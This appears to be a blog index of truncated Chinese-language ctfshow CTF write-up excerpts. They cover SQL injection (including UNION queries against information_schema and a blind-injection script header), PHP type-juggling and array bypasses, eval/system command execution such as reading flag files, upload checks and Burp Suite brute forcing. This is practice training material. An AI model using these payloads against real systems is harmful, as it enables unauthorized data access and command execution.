web191 跟上题一样,由于换了一章,就重新叙述一下。 布尔盲注需要先找到一个可改变的注入点。 比如: * admin' and 0#时返回的是用户名不存在 * admin' and 1#返回的是密码错误 由此编写脚本:这题还是用是190的脚本即可 直接使用paayload: # -*- encoding: utf-8 -*- """ @File : SQL布尔盲注2.py @Contact : 2997453446@qq.com @Blog : natro92.github.io @Modify Time @Author @Ver
web171 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 三栏一眼丁真,直接内容拼入即可。 -1' union select 1,2,database() --+ 查询库名: -1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ information_schema,test,mysql,performan
web151、web152 前端校验 根据提示,检验写在了前端。 layui.use('upload', function(){ var upload = layui.upload; //执行实例 var uploadInst = upload.render({ elem: '#upload' //绑定元素 ,url: '/upload/' //上传接口 ,done: function(res){ if(res.code==0){ $("#result").html("文件上传成功,路径:"+res.msg); }e
web106 highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } 数组和转为0e都行,这里图省事使用了数组绕过。 web107 parse_str highlight_file(__FILE__); error_reporting(0); inc
web89 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 遇事不决先试试数组捏,?num[]=1 web90 include("flag.php"); highlight_file(__FILE__); if
参考链接: https://blog.csdn.net/weixin_46081055/article/details/121721209 web118 题目里面提示了:flag in flag.php 随便提交一点东西,看到源代码中: post上传然后system执行,但是没有回显。 但是输入会出现evil input,因此想到可能是有过滤。 fuzz一下: 发现有的字符被过滤掉了: 剩余的字符有A-Z,;:{}?#$_,@~ 看了wp学了一个新姿势:以下是在本地测试的。 我们到web测试一下: web上的用户名末尾为l,path末尾为n,因此我们可以尝试组合: ${PATH:
web58 if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); } 正常来说,看到这个格式,我们第一个想到的就是使用system然后命令执行,但是当我们尝试使用时会发现: 这是因为php.ini配置中默认禁用了执行系统外部命令函数,但是这里我们可以用php内置函数来读取文件,因此这部分学习的时php相关函数的使用。 我们需要先查看当前目录。c=print_r(glob("*")); 或者c=print_r(scandir('.'));(注意两者的返回数组内容不同
web42 if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); } 在变量后面拼接了一堆字符串。在此之前,我们需要先思考这一串是什么东西。 >/dev/null 2>&1 就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出
web29 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 很简单的一道题。?c=system("ls");查看一下发现flag.php就在当前目录下,因为过滤了flag字节,所以直接用f*代替就行 payload:?c=system("cat f*"); flag在源代码中。 其他解法 * 除此之外,我
相关文章及参考资料 暴力破解(生成字典、爆破服务、爆破登录、解密、BurpSuite工具讲解) PS 做完了我才发现这些题的字典实在web21里面需要下载… web21 爆破什么的,都是基操 burpsuite爆破:https://www.cnblogs.com/007NBqaq/p/13220297.html 直接展示登陆界面,随便输点什么,抓包,可以发现把账号密码放在了请求头中,并且根据末尾的==可以看出是base64加密,因此我们直接尝试Intruder模块爆破。 原理我们都懂,但是我们该如何操作呢? 方案一 burpsuite爆破 将请求转入intruder,因为会拼接p